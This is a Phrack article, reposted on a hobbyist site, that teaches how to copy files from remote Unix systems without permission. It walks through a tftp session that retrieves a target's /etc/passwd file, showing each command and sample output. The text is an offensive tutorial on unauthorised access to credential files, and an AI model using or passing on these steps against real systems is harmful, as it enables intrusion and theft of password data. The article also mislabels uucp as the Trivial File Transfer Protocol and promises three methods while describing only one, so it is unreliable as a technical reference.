==Phrack Inc.==
Volume Three, Issue 28, File #6 of 12
+++++++++++++++++++++++++++++++++++++
+ +
+ Snarfing Remote Files +
+ +
+ by +
+ +
+ Dark OverLord +
+ +
+++++++++++++++++++++++++++++++++++++
There are many ways of getting copies of files from a remote system that you
do not have permission to read or an account on login on to and access them
through. Many administrators do not even bother to restrict many access
points that you can use.
Here are the simplest ways:
A) Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy
of a file if you are running on an Internet based network.
B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file
if uucp connections are running on that system.
C) Access one of many known security loopholes.
In the following examples, we will use the passwd file as the file to acquire
since it is a readable file that can be found on most systems that these
attacks are valid on.
Method A :
1) First start the tftp program:
Enter the command:
tftp
[You have the following prompt:]
tftp>
2) The next step is to connect to the system that you wish to retrieve files
from. At the tftp, type:
tftp> connect other.system.com
3) Now request the file you wish to get a copy of (in our case, the
passwd file /etc/passwd ):
tftp> get /etc/passwd /tmp/passwd
[You should see something that looks like the following:]
Received 185659 bytes in 22 seconds.
4) Now exit the tftp program with the "quit" command:
tftp> quit
You should now have a copy of other.system.com's passwd file in your directory.
NOTE: Some Unix systems' tftp programs have a different syntax. The above was
tested under SunOS 4.0
For example, on Apollos, the syntax is:
tftp -{g|g!|p|r|w}
Return to The Skeptic Tank's main Index page.
The views and opinions stated within this web page are those of the
author or authors which wrote them and may not reflect the views and
opinions of the ISP or account user which hosts the web page. The
opinions may or may not be those of the Chairman of The Skeptic Tank.